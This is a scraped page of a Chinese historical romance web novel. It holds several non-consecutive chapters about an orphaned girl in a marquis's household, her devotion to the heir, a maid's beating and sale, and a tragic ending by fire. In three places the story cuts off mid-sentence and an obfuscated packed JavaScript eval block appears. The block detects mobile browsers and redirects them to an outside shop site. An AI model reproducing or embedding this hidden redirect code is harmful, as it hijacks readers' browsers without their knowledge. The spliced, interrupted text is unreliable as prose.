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严昱安垂眸轻笑一声,扫了眼小姑娘刚临摹完的字,笑意一下凝住,手指敲了下桌面,声音发沉,“这字怕是不尽人意,还是先从笔画开始练习,身子要坐正,端笔要稳……” 他起身绕到小姑娘身侧,抬了下她端笔的手臂,又纠正她握笔姿势,随即伸手握住她的手,带着她一笔一划描摹。 等到点横竖撇捺全都写一遍后,他松开她的手,语气温和,“今日功课便是临摹这些笔画,各五页,明日带来交予我检查。” 还没从方才共执一笔中回过神,陈英涨红着脸,不假思索地应了声,“好。” 等她反应过来,听明白他话里的意思,豁然抬起头,一脸不可置信,“那一共是二十五页,我的手会不会写断了啊?” 手断不断不知道,晚上她还想逗玩小橘猫,再玩下剪纸呢。这些她当然不敢说,只是噘着嘴,眨巴着黑溜溜的眼睛看向他,一副欲言又止的委屈模样。 “若是嫌少,还能再加些。” 严昱安回到桌后坐下,拾起一本书,气定神闲地翻看,似是故意对她可怜兮兮的模样视而不见。 只是书页遮挡住小姑娘视线,看不到书背后,他平直的嘴角悄悄弯起。 10. 第 10 章 严昱安走到陈英面前,垂眸将她上下打量一遍,见小姑娘衣着轻便,厚薄适宜,微蹙的眉宇这才舒展开。 复又抬眸,不经意瞥见春桃正偷看自己。 严昱安眼神一冷,背过身去,眼中鄙夷之色这才稍稍收敛。 “昨日给你的书可看完了?”声音有些发沉,带着几分克制的冷肃。 陈英紧张地直点头,忽然想到什么,又小声试探问了句,“我可以先练一遍给世子哥哥看么?” 严昱安还没开口,一旁的春桃掩嘴偷笑着,如娇似嗔地望向严昱安插了句,“世子爷您有所不知,我们姑娘昨个夜里都熬了半宿呢,您给的那本书都快被姑娘翻烂了。” 陈英一时间尴尬得低下头,咬着唇瓣,脸如烤火。 她原本想在严昱安面前练出这套拳法,好让他对自己刮目相看。可经春桃这么一说,她要是练得好也不过是因为勤恳,若是练得不好,反而显出自己愚笨了。 这么一想,不免有些讪讪,陈英耷拉着脑袋,不安地攥着衣角。 殊不知,小姑娘一番心思都写在脸上,浓密的眼睫微垂闪动,落下两道清浅阴影,嫣红饱满的唇瓣微微翘起,似乎在嘟囔着什么,看上去有些沮丧。 “阿英,开始吧。”严昱安眉间松动,说话时语气不自觉温柔起来,“让我瞧瞧你都学会几成,嗯?” 不论她心潮如何起伏,只要他随意一句话,都能瞬间抚平她起伏不定的心潮。 陈英调息静气,走到庭院中抬起双臂,左掌右拳合抱一礼。一套拳法行云流水,兔起鹘落。 不过向来是外行看热闹,内行看门道。 与四周仆婢满脸欣赏不同,严昱安越看眉头皱的越深。 小姑娘身法轻捷如游龙,步法灵动连贯,一招一式章法流畅,大开大合更是收放自如。然而差就差在轻快有余而刚劲不足,直白些说,就是花拳绣腿,中看不中用。 陈英收势站定,胸脯微微起伏,一边喘着气看向严昱安,看到他脸色凝重,一时间心头一沉,有些忐忑。 是她练得不好么? 严昱安将方帕递到她面前,还没等陈英回过神,就被春桃抢先一步伸手接了过去。 春桃似不经意碰到严昱安的手,又抬眸看了他一眼,声音娇柔似水,“世子爷,还是让奴婢来吧。” 说完,她便殷勤地替陈英擦汗,陈英瞧她脸上红红的,隐约觉得哪里怪怪的,一时也说不上来。 无奈后背汗湿,衣裳贴身难受,不等言昱安发话,陈英便寻个更衣的借口一溜烟跑回去。 回到桂院。 秋雁见她自个儿回来,忙迎上去又朝门外扫了眼,便蹙起眉,“姑娘怎么一个人回来了?春桃怎不晓得给姑娘披件兜帽,今儿个化雪天怪冷的。” 陈英走到屏风后一边换衣裳,一边解释方才打了拳,现下汗湿衣裳难受着,这才跑回来换衣裳。 至于春桃为何没一同回来,她倒也没觉得是多大事,只在心里猜测八成是她方才跑得太快,春桃抱着手炉和兜帽自然跟不上,兴许这会儿还在回来的路上慢慢走着吧。 因为今日是头一回练武,那练武服还是陈英从云州家中带来的,现在换下来后一时竟找不到合适的衣裳更换了。秋雁只得在衣柜里翻来找去,挑了身简便又宽松的衣裳,又从针线筐里翻出些粗线给她束上袖口、裤腿。 秋雁性子沉稳,做事也细致。她正蹲着身替陈英系裤腿,忽然门外传来一声尖利的猫叫,紧接着,一团橘黄色飞快地从门缝低下窜进来,跳进陈英怀里缩成一团。 幸好陈英是坐着,不然还不得被这猫吓得跌倒,还未等秋雁开口嗔几句这促狭猫,就听见外面有些声响,动静还不小。 “英姑娘可是在屋里?烦请姑娘出来一趟。” 陈英隐约觉得这声音透着些森冷,心里不自觉害怕起来。 陈英抱着猫起身,紧张地看向虚掩的门,又转头和秋雁对视一眼。 红润的唇瓣嗫嚅了几下,明澈的杏眼含着水光,明明还是个半大孩子,却敏感得叫人心疼。 又想到她可怜的身世,虽说府里下人有些酸言酸语说她是因祸得福,被侯府夫人收作义女身份大涨,可这等子福气叫个小姑娘拿家破人亡去换,那些嘴碎的简直拿刀戳人心窝子,良心黑透了。 秋雁心有不忍,朝她柔柔一笑,“姑娘莫怕,指不定是这猫又蹿到别处闯祸,现下被人撵回来罢。咱们出去赔个不是,让外头人消消气便是。” 陈英嗯了声,这才心下稍安。 推开门往外瞧,两人一下惊得目瞪口呆。 就见春桃发髻松散的趴在地上,反手被捆绑着。她嘴里塞着布,嫩白的脸颊上几道红掌印格外刺眼。一旁两个粗壮婆子正喘着粗气挽起袖子,一边鄙夷地怒瞪她。 “英姑娘,春桃这贱婢不守规矩,犯了夫人的忌讳,因着是姑娘院里的人,夫人便派奴婢过来知会姑娘一声。” 一个穿着体面的嬷嬷绷着脸,冷厉的目光扫过院里一众下人,“也叫姑娘院里的人都瞧瞧,别以为进了世子院就敢动些歪心思,再有下回,瞧好了这便是你们下场。” 说完便朝那俩婆子瞥了眼,就见那二人一左一右架起春桃便往长条凳上按,春桃口被堵着,鼻腔里发出一阵急促闷哼声,她像砧板上的鱼奋力挣扎了几下,只是很快被人麻利地捆绑住手脚动弹不得。 陈英吓得浑身颤抖,怀里小橘猫似是觉察到什么,雪白的爪子在陈英怀里扑腾着,转瞬便从她怀中跳出,窜得无影无踪。 陈英这才从惊吓中回过神,正想为春桃求个情,“嬷嬷,春桃她……” “外边天冷,姑娘还是莫要出来了。这贱婢已经得了夫人恩典,杖责三十,发卖出府。那人牙子已经在外头候着了,还是莫耽搁为好。” 那嬷嬷冷声打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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猛然推开门瞧去,就见两个嬷嬷拖着已经昏死过去的春桃正跨出院门,血迹斑驳的衣裳裹着毫无生气的少女,无声无息地消失在眼前。 就在这时,院门外一句冷冰冰的话传了过来,“当心莫破了皮相,叫那人牙子压了价钱。” 刹那间,陈英只觉浑身血液凝固,那可是今早还和她一起有说有笑的人啊,此刻却如牲畜般被提脚发卖。 她缩着肩膀,双臂僵直紧紧贴在身体两侧,竟是再也挪不动步子。 死死盯着院中那滩刺目血迹,直到下人清扫干净后无声散去,她才缓缓回过神来,整个人像被陡然抽走精气般跌坐在地上,面如枯槁。 秋雁知道她心里不好受,可劝慰的话刚到嘴边,在触及到小姑娘眼底蓄满的泪水,自己也不禁鼻尖泛酸,一时哽咽得也无声抹泪。 早晨天还放晴,等到后晌灰蒙蒙的云便密密仄仄笼罩下来,天幕苍黄而浑浊,沉闷压抑得难耐。 13. 第 13 章 回到桂院。 秋雁见她双眼红肿也不多问,只默默服侍她用过午膳。 府里那些闲言碎语她早就听过,要是放在以前,她多少也会听信,可眼下瞧见陈英这般受委屈,心里竟有些心疼。 歇午觉时,秋雁往陈英怀里塞好汤婆子,替她掖好被子说,“姑娘莫要多想,好好歇一觉什么都忘了。” 陈英没有说话,拉起被子盖过头顶,闷闷嗯了声。 秋雁放下帐子,轻叹口气,便掩上房门出去了。 这一觉睡得很沉,从晌午一直睡到暮色四合。陈英醒来觉得口渴,掀开帐子下床去倒水,无意间,视线落在桌上那一摞书册上。 万籁俱寂,只有纱罩灯映出暖黄色的烛光,陈英盯着那摞书看了很久,直到黯淡的眼眸逐渐泛起亮光。她也不说话,拿起本拳法书就坐在灯下翻开,一页页认真看起来。 秋雁进来的时候,就瞧见这样一幕,烛光下小姑娘神情专注地看书,丝毫没有察觉到有人进来。 她私心里想,姑娘小小年纪寄人篱下,那些眼酸的丫鬟婆子又肆无忌惮乱嚼舌头,往后在侯府的日子怕是也不好过。外面人瞧着她是高攀撞大运,可又有谁晓得姑娘孤苦无依,受尽白眼。 好在有世子爷疼惜她,方才派平康过来又是送书,又是给院里上下训话,往后再有背后嚼主子是非的一律掌嘴。 秋雁也不打扰她,只在一旁默默做针线活,姑娘往后要认真习武,是该做几身轻便衣裳了。 春去秋来,一晃眼便过去五年。 时序三月,惠风和畅。玉湖堤上长柳抽芽,丝丝缕缕随风摇曳,像婀娜少女腰间系的绿丝绦,轻盈灵动。 “姑娘慢些,那东西又不会长脚,不用这么着急啊。” 秋雁刚掀开车帘,只见一叠浅绿裙摆如浪花翻过,再定眼一看,只瞧见个女子窈窕的背影。 那女子跳下马车,头也不回地朝街边书画斋跑去。秋雁只好无奈地笑了笑,又快步跟上。 见有人进来,书画斋的店伙计满脸堆笑迎上来,“姑娘稍等,您相中的那支湖笔还在,小的这就去给您取来。” 店伙计热络的嗓音一出,店内正挑画纸的青衫男子蓦地循声望去。 只见柜台前站着位水葱般清丽的姑娘,她下颌微抬,唇角带着笑正欣赏着墙上字画。 那姑娘穿一件旧月白如意纹夹袄,系一条柳芳绿丝罗裙,头上珠钗轻晃,看得出是刚进来的。但见她衣着素雅,却是柳眉杏眼,娇俏动人。虽只瞧见个侧影,那一弯梨涡含在唇边,露着温柔清婉,灵秀不俗。 那姑娘似是觉察到有人瞧她,眉眼一转,回望过来恰巧与男子目光相撞。她若无其事地对他笑了下,又把头转回去。 男子心头怦怦直跳,望着那倩影愣怔出神,忽而手掌一松,画纸无声飘落于地。 柜台前,少女拿起湖笔细细看着,那笔管是青玉质地,如苍山凝雾,给人清冷而又温润质感。黄棕色笔头饱满如笋尖,笔斗壁上刻着四片荷瓣,如含苞之势,很有蓬勃长盛寓意。 阴刻的竹节纹线条秀美,指腹下传来滑润触感,一边想象言昱安握笔的姿态,她会心一笑。 见她笑了,一旁的秋雁忍不住打趣她,“姑娘可仔细瞧了?这笔没长脚吧,奴婢可有说错?” 见陈英臊红了脸,秋雁也不再打趣,摸向腰侧正准备付银子。 忽然,她脸上笑容一收,慌慌张张摸向两边袖袋,脸色煞白看向陈英,“姑娘,钱袋好像丢了!” 陈英一惊。脑中不自觉浮现方才湖堤上一幕,她让秋雁施舍几个铜板给乞儿去买胡饼吃,后来俩人刚一转身,就跟个跛脚婆子迎面相撞…… 攥紧手中湖笔,她有些不好意思看向店伙计,磕磕巴巴开口,“店家,今日能否赊……” “姑娘莫开玩笑,小的方才瞧见您坐的马车,虽没挂上府邸徽记,但瞧那奢华气度便知不凡。姑娘若真没带银子,只管留个字据,告知府邸名姓,小的自愿跑腿上门去取银子。” 店伙计边说边笑着打量她,忽然脸上笑容一僵,眼睛直往少女素净的穿戴上来回瞧,脸色立时就有些不好看。 陈英被他瞧得有些不好意思,面红耳赤地低下头,那店伙计平直的嘴角又下压了几分。 僵持半晌仍不见她开口,店伙计撇开眼,冷哼一声,径直将湖笔收入锦盒,吧嗒一声扣上盒盖,他语气凉凉,“姑娘还是回府上取了银子再来吧。” 陈英咬着唇,正为难之际,一叠画纸不轻不重落在柜台上。 她侧眸望去,就见一青衫男子正拂去衣袖上浮尘,一面对店伙计说,“这位姑娘的笔和我的画纸一起结账吧。” 说着他一偏头,便和陈英微诧的目光对上。 他从腰间取出钱袋颠了下,话音透着愉悦清亮,冲她笑道:“姑娘莫急,这点小事在下便可帮忙。” 压下心头的雀跃,陈英含蓄地弯了下唇,朝他盈盈一拜,“多谢公子。” 那边店伙计瞅了眼柜台上那叠纸,垂眸拨动几下算盘,头一抬,“一共十两五钱,今儿个您仗义疏财,便算您十两银子好了。” 男子脸上表情一下凝固住,陈英心里突然忐忑起来,嫩葱般的手指忍不住紧缩。 这支湖笔是用上好青玉所制,又是由名家精心雕刻。与其说是一支供书写用的毛笔,倒不如说是一件贵重奢侈之物。寻常人家自是不会买,倒是富贵人家一掷千金惯了,倒也不会在乎价钱几何。 可眼下情形,怕是真叫人家为难了。 见男子握紧钱袋一动不动,那店伙计又轻唤了声,“公子?” 男子回过神再看向陈英,不禁面露尴尬,欲言又止。 半晌后,那攥着钱袋的手终是缓缓垂下,他皱眉拱手,咬牙道,“在下囊中羞涩……实在抱歉,帮不了姑娘。” “无妨,我改日再来便是,公子不必介怀。”陈英欠身回礼,暗暗压下心底的失落,朝他坦然一笑。 视线低垂,恰巧落于柜台上那支湖笔。睫羽轻颤几下,她默了会儿,转身朝门外走去。 尽管方才少女笑容娇媚,可眼中仍难掩失落。男子下颌紧绷,望着那远去的背影默了会儿方才离去。 回到武安侯府。 陈英翻出平日攒钱的木匣,又一遍遍细数碎银子,眉头越皱越紧。最后长叹一声,合上木匣趴在梳妆台上,小声嘟囔,“怎么办,还是不够……” 秋雁端着针线笸箩进来,看了陈英一眼。她红着脸低下头,语气很是愧疚说,“姑娘这下攒了半年的月钱全没了,都是奴婢的错。奴婢绣活还算可以,要不奴婢绣个花样,姑娘再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289342|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动几针缝上荷包当做生辰礼,姑娘看可行?” 明日侯爷就要告祠堂,三日后是言昱安的生辰,要在府中举行冠礼。 往年言昱安的生辰礼她都送过糖画、彩陶娃娃、栗子糕,芙蓉饼…… 尽管都是她当时觉得最好的东西,可现在回想起来,简直让她羞愧得无地自容。直到去年她才晓得,送礼要投其所好,她看言昱安写得一手好字,便琢磨着要送他一管好笔。 可如今好不容易相中那支玉制湖笔,刚攒够的银子又弄丢了。 眼下除了绣荷包,实在也想不出别的法子。 可若真让秋雁代她绣荷包,陈英又觉得亏心。虽说言昱安平日所用也是府中绣娘做的,可要是作为生辰礼假于他人之手,心意上总觉得不妥。 思忖了会儿,陈英起身接过秋雁怀中的笸箩,牵唇一笑,“世子哥哥的生辰礼,当然是我亲手绣才有诚意。” 语调清婉,声若莺歌。 支摘窗外,垂丝海棠多半未开,一簇簇粉嫩花苞在枝头静默低垂。陈英坐在窗边低着头,认真捻针穿线。明眸樱唇,日光照在她纤细的脖颈间,肌肤白皙莹润,清水出芙蓉也不过如此。 秋雁一时看呆住。犹记得她刚来侯府时还是个半大的姑娘,梳着双丫髻,脸蛋圆润,一双明澈的大眼睛,谁见了都心生欢喜。陈姨娘是她姑姑,容貌已是百里挑一,可英姑娘如今还未及笄,容貌已尤胜几分。 明年姑娘也要及笄了,单凭这副好相貌,也合该寻个好人家。虽说出身是低了些,但好在她从小讨老太太喜欢,到时候老太太为她寻个清正的读书人家做个正头娘子也是极好的。 秋雁走过去,凑近看了眼她手里的绣绷,陈英微扬起脸,眉眼弯弯,笑道:“原来绣荷包也没多难,你瞧,可还有哪里需要改的?” 看着那错杂的针脚,秋雁抿了抿唇,有些艰涩道:“改就不必了,不如再重新绣一个?” “啊?” 陈英后知后觉地意识到什么,愣怔了半晌,又瞧见秋雁弯下腰,正在笸箩里翻着花样式,想是真的要叫她重新绣一个,她忍不住哀叹一声,小声嘀咕说:“这刺绣可比练武还要难……练武只出些汗,刺绣可是要扎手指……” 她想起之前姑姑教她女红时的场景,突然感觉浑身一颤,不自觉搓了搓手指头。 她看向秋雁,声音轻柔又动听,“我绣活儿一向不好,世子哥哥是晓得的,应该也不会笑话我吧。” 秋雁只是听着,从笸箩里取出个青竹纹式的绣样,又挑了几色丝线,也不搭话。 她自然是相信陈英的话。世子爷是侯府独子,从小也没个兄弟姊妹,性子原就孤僻清冷,可自打陈英搬进世子院,又是教她读书识字又是教她习武练功,两个半大孩子相处得亲如兄妹。 从前沉闷寡言的世子爷,也日渐变得明朗温厚。太医也说他身子骨越发康健,老太太和夫人待陈英也越发亲厚,陈姨娘瞧在眼里也是欢喜。 秋雁将重新绷好的绣绷子递给陈英,看她仍是一脸不情愿,伸手要接过她手里的针,“还是让奴婢来绣吧?” 抿了抿唇瓣,陈英摇摇头又垂眸认真捻线穿针。绣样上的青竹挺秀文雅,跟世子哥哥十分相称,想象着他佩戴上自己亲手绣的荷包,她指尖蓦地轻颤了下,心潮浮动难以自已。 16. 第 16 章 自从那日在福寿堂见过言昱安后,陈英便一连好几日没再见到他。后来还是听到院里扫洒的丫鬟们说闲话,才知道言昱安又进太学了。 武安侯府当初是以武建功,谁曾想侯爷残了腿再也不能带兵打仗,世子又是个病秧子更是无望继承父业。 众人都以为武安侯府会沦为富贵没落户,哪知言昱安竟有八斗之才。自他入太学后,回回比试皆拨得头筹,偏他又生得龙眉凤目,谪仙玉树般的俊美,那往日不算热闹的门庭,如今也多有故交新友往来。 说得直白些,就算眼下武安侯府门庭不显,那言昱安又岂是池中之物?他日一飞冲天光耀门楣不说,单是上门说亲保媒的怕是要踏破门槛了。 陈英自然也晓得这些,只是情难自禁心里又酸又涩,连笔尖的墨汁滴到纸上都没发觉,只是愣愣地望着面前的字帖发呆。 “姑娘在想什么?” 秋雁进屋将茶盏搁在书案上,看到纸上已经洇开的墨点,眼神有些复杂,这些天她也隐约猜出陈英郁郁寡欢的原因,可是她实在难以开口相劝,只盼着姑娘自己能想开些。 “我在想,世子哥哥的字。” 陈英搁下笔,一手托腮看向字帖,指尖沿着那规整的字迹一笔笔描画,纤密的眼睫微垂颤动着,一面喃喃自语,“一横一竖笔力匀整坚毅,一点一提笔势洒脱虚旷,一撇一捺如锥画沙不露锋芒。都说字如其人,可我还是看不懂他。” 说到最后一个字声音已经很小,可秋雁还是听见了,当即伸手要去收起字帖,却被陈英慌忙按住手背。 陈英拧眉看她,绯红的小脸上带着困惑不解。 “姑娘还是别看了。” 秋雁话一出口便心觉不妥,可既然说到这里,便索性说个明白,话锋一转,认真道,“奴婢听说老太太已经吩咐人收拾雨棠阁,只等过些日子接江家表小姐来小住,姑娘你可晓得?” “这个我知道。”陈英下意识回了句,清亮的杏眼眨巴眨巴着,忽然眸光一黯神情有些落寞。 秋雁一瞬不瞬地盯着她看,盯着她脸上细微的表情变化。 见状,她轻叹口气,半蹲下来握住陈英的手,心一横,又添了剂猛药,“姑娘知道便好,那江家表小姐出身显贵,想是老太太相中的未来孙媳了。姑娘到时候和江家姑娘多亲近些,往后姑嫂间也好相处。” 陈英咬着唇,露出个惨淡笑容,缓缓应了声好。 这日过后,秋雁便发觉陈英变了,变得越发沉默。原本只是少女怀梦的多愁善感,现在虽还是面带愁容,但目光沉静也少言语,常常在月下无人时练习拳脚,偶尔去膳房跟厨娘学做饭食。 想着别家姑娘都学些琴棋书画,再不济也是算账持家,可陈英偏偏不学这些。跟着她去了几次膳房后,秋雁忍不住问,“姑娘为何要学这些?” 陈英随意地将碎发别在耳后,淡淡一笑,“或许将来能用得上吧。” 将来的事谁又说得准呢,她也不可能一辈子呆在侯府。自云州陷落,朝廷这些年一直没有收复失地的打算,她年年等啊盼啊,早已不抱希望。惟愿将来离了侯府,也能凭借双手让自己活下去罢了。 但是天不遂人愿,这样平静的日子并没持续多久。 那日,陈英去看望陈姨娘,姑侄俩还没说上几句话,秦氏便突然过来,直接就抛出个惊雷。 “阿英再过一年就该及笄了吧?” 秦氏轻轻搁下茶盏,不动声色打量二人脸色,又道,“前日听柳嬷嬷提起,管田庄的李管事想要续弦,正托人四处觅求呢。” 暗觉不妙,陈姨娘眉间一紧,怕秦氏当着陈英的面再说些什么,忙转头对陈英轻斥道,“夫人的茶凉了,还不快去茶房沏杯热茶过来。” “是。”陈英惶惶地应着声,起身正要退出去,就被一旁的柳嬷嬷拦下。 场面一时尴尬,陈英正局促不安,又听见秦氏淡淡开口道,“姨娘莫急,我今日不是来喝茶的。阿英在这儿正好,我要说的事也和她有关。那李管事年逾三十,膝下无子,只有个七八岁的女儿,阿英若嫁过去,以后同在府中也能常来常往,你们姑侄倒也不算分离。” 陈姨娘和陈英俱是惊愕失色。 陈英的眼眶红了,手里紧紧攥着衣角,仍忍不住浑身颤抖。一双泛着泪光的眼瞳直直看向秦氏,在触及对方眼底的轻蔑后,倔强地扁着嘴。 这便是当家主母的权势么?可以任意主宰她的人生,只因她出身卑微,寄人篱下,便可如此轻贱于她。 从进武安侯府,她便晓得姑姑这些年过得并不好,就连生育孩子的权利都被剥夺。早些年她不懂事,总是在姑姑面前提起,为什么不给她生个弟弟或妹妹,现在想起来真恨不得扇自己几个大耳刮子。 她现在只有一个念头,带着姑姑离开这个吃人不吐骨头的后宅。 拳头捏得死紧,心里暗暗发誓,眼泪却不争气地流了下来。 “夫人说笑了,阿英年纪小又不懂事,妾身还想再多教导几年,往后再替她寻个寒门读书人呢。” 陈姨娘温柔笑着,又拉陈英朝秦氏跪下,“夫人心善,一向将阿英当闺女疼,这孩子愚笨了些,但心里是念着夫人的大恩大德,无以为报。” 这话说得动听,还真是一张能言善辩的巧嘴,难怪连侯爷都被这狐媚子迷住。 秦氏心里冷笑一声,又瞧见陈英那张肖似陈姨娘楚楚可怜的小脸,忽然就有些气不顺,压了压情绪,假惺惺道,“我自然是疼她的,只要她肯开口,说不准我会允了呢,就不知她心里是个什么想头?” “阿英想嫁个寒门学子,还望夫人准允。”陈英以额触地,声音干脆。 “好,记着你今日说的话。” 秦氏颇有深意地看了姑侄二人,露出一个笑容,端起主母架势正要饮茶,却发现那茶早已凉透,便蹙着眉起身离去了。 等她走后,陈姨娘扶起陈英,一把将她搂在怀里,就听见陈英压抑着哭声,询问她,“姑姑,夫人她是想将我赶出府吗?” 一句话就将陈姨娘问得心疼不已,沉默了会儿,她一边轻拍着陈英后背,故作轻快说,“夫人不是赶你,是想给你寻个归宿而已。女儿家总归是要嫁人的,咱们阿英生的这般美,将来定会嫁个好夫婿,生儿育女,和和美美一辈子。姑姑给你攒了笔嫁妆,以后啊,定要风风光光把你嫁出去。” 陈英晓得姑姑是在宽慰她,她想说她舍不得姑姑,她想带姑姑一起离开这里。可是话在嘴边,又生生咽了下去。 现在她还没能力带姑姑离开,默了半晌,她才低声应了句,“阿英都听姑姑的。” 陈姨娘晓得她懂事,心里愧疚便越深,只恨自己没能护好她。今日秦氏这一出,只怕是过来敲打她,至于缘由她一时还想不出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289345|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是这意图十分明显,就是要陈英离开侯府,可是陈英又妨碍谁了呢。 还没等陈姨娘想明白,第二天陈英就被老太太院里的人叫过去了。 来传话的是老太太身边的刘嬷嬷,春桃和秋雁也是她一手教出来的。后来春桃犯了事被发卖出去,她脸上也无光,后来但凡瞧见年纪轻又有几分姿色的丫鬟就不大顺眼。 她肃着脸带陈英进了福寿堂,直往里间小佛堂里走,一面解释说,“老太太这两日睡不安稳,便想请姑娘过来替老太太抄写佛经。老太太吩咐了姑娘只管在这里抄经,莫管外头什么动静,姑娘只需静坐就好。” 话说到这个份上,陈英再傻也明白,老太太怕不是叫她过来抄经那么简单。 她颔首应了声,刚坐下翻开一卷经书,秋雁在旁准备研墨,刘嬷嬷一把拉着秋雁手腕,冷冷开口道,“姑娘抄佛经需要静心,秋雁跟老奴就不打扰姑娘了。” 说完,她便拉着秋雁一道出了门。 空寂的佛堂内檀香袅袅,陈英抬头看了眼佛龛里慈眉善目的观音,方才浮躁的心绪也慢慢平静下来。多思无益,她垂眸抚平宣纸,开始一笔一划认真抄写佛经。 三月天,窗外海棠花未开,缀满花苞的枝头已有雀鸟啁啾,忽然扑腾一下鸟雀飞走,只剩花枝摇颤不止。 言昱安扶着老太太进了福寿堂,立即有丫鬟上来奉茶,言昱安扶老太太坐下,又接过茶躬身递到她面前。 老太太接过茶盏,神色缓和些。刘嬷嬷已经审问过秋雁,晓得那日陈英是来了癸水,在言昱安寝屋里歇了会儿换身衣裳便回去了。方才言昱安回府,也叫他身边的平康过来问了话,两处说辞都对得上。 这样一来,事情是弄清楚了,倒是眼下这一茬,就有些犯难了。 老太太嘴角微沉,思量了下,还是开了口,“你也莫怪祖母多心,毕竟你们都长大了,虽说一直是以兄妹相处,但到底不是真兄妹。我瞧着那孩子模样性情都不错,你若是喜欢,收在身边也没什么。” “祖母说这些做什么。”言昱安心里微动,皱着眉看向杯里茶叶沉浮。 “你如今也该是议亲的年纪,倒也不必避忌什么。若真喜欢,早晚都得给个名分,自个儿跟前养大的,祖母自然不会亏待她。”老太太身子往前倾了倾,目不转睛看向他,眼尾几道皱纹深入鬓角,像被岁月侵蚀过的河流,饱经沧桑。 言昱安默了会儿,突然搁下茶盏,眉眼淡漠,“祖母怕是误会了,我一直视阿英为妹妹,从未有过别的心思。” 这时,里间佛堂传来一阵轻微的动静声,他低垂的眼睫轻颤了下,下颌线微微收紧,心里涌出一股说不清的躁郁。 “如此也好。”老太太不以为意地笑了笑,瞥了眼里间佛堂方向,又不动声色道,“你房里也没个丫头伺候,不如从府里挑选两个伶俐的进世子院,你意下如何?” “不必了,孙儿明年就要下场科考。”想也没想便开口拒绝,他心里莫名有些烦闷,沉着脸起身告退,“孙儿还得温书,就不打扰祖母休息了。” 临走前,老太太又似想起什么,忽然提了句,“再过些日子,你江家表妹也该接进府里来小住了。” 言昱安淡淡应了声,告退离去。 屋子里忽然安静下来,老太太像是轻叹了一声,抬眼朝里间佛堂看去,声音沉缓,“刚才的话,都听见了吧?” 29. 第 29 章 这时,一个粗重的大汉声音传来,“走吧走吧,不要再耽搁了。” 他的声音一落,便传来一阵呼呼的马鞭声,马车很快就行驶起来。 接下来,便是日夜不停歇的赶路。 幸好包袱里带了糕点和水囊,陈英大多时候是饿着肚子,只有饥饿难忍时,她才从包袱里抠出一小块糕点吃下,如此也算挺过两日。 这天临近晌午时,道路上烟尘弥漫,呼吸都觉出些土腥气,呛得外头的车夫连打好几个喷嚏,陈英缩在木箱里也捂着口鼻,屏住呼吸。 好在马车一路紧赶慢赶,终于在黄昏时赶上押送粮草的队伍。 又是一个黑沉沉的夜里。 宅院中,纱窗后,风前残烛,孤身只影。 陈英呆呆地站在窗前,一动不动地望着手中那盏明灭不定的烛火,她的眼一眨不眨,黯淡无光,仿若被夺走三魂七魄,只剩一个孤零零的躯壳。 烛光摇曳中,她仿佛看见那个白衣翩翩,俊美如玉的男子。他在冲她微笑,那笑容灿烂至极,又清澈至极,仿佛这人世间再无痛苦,也仿佛她终于拥月入怀,得偿所愿。 这时,一个男子的声音突兀的从背后传来,“他已经死了,你哭也哭过闹也闹过,你究竟还想怎么样?” 气恨的言语中,一阵疾风掠过,一个高大的身影逼近陈英的身前。 他用力握住陈英的双肩,迫使她抬起头看向自己,等看清那张面若死灰的脸时,他眼中的怒火更加炽盛。 不过,那脸上的愤怒很快又转为狞笑,阴恻恻的笑声似从肺腑中震荡出来。 “呵,我倒是忘了,他不是你青梅竹马的义兄么?就是他当初许诺,只要我善待于你,往后仕途上也会提携我。可万万没想到啊,他就这么死在关外,我如今竟也成了翰林院的笑话!” 高大的男子猛然将她推倒在地,恨声道,“我吃哑巴亏也就罢了,可你竟为他要死要活,若不是晓得你嫁给我时是完璧之身,我现在就该休弃了你。你以为就凭你,一个妾室的侄女也配对他心存妄想?如今他死了,你是不是也想随他而去?可你就算是死,也见不到他,你这辈子就只配进我张家的祖坟!” 男子的话一句比一句恶毒,字字如刀,直往人心窝子里刺。可不管他怎么嘲讽谩骂,眼前的这个与他新婚数月的妻子,却始终一声不吭。 这一刻,一直失魂落魄的陈英,似乎像换了一个人。她慢慢从地上爬起来,走到梳妆镜前坐下,拿起牛角梳,一下又一下,慢慢梳着长发,泪痕未干的脸上竟然带着闺中少女般恬淡的笑容。 男子手握成拳,深深望了她一眼,不知为何,突然感觉到一股奇异的胆寒。他心头一跳,这一刻竟是在想,她若是能忘了言昱安,和他好好过日子该有多好。 想到这里,男子仰面长叹一声,最后踹开门怫然离去。 等他刚回到书房,突然听见外头一阵喧闹声。他猛然朝外望去,却见北面厢房火光四起,黑烟直窜云霄。 “走水了,走水了……” 外头急切的呼喊声里,男子心脏猛然紧缩,他惊恐地望着那熊熊烈火,仓惶地朝北面厢房跑去。火光照亮他惨白扭曲的脸,猛烈的火焰翻滚着,那里已经是一片火海。 她竟然殉情了,为了别的男人。 宁愿化为灰烬,也不肯入他张家的祖坟么? 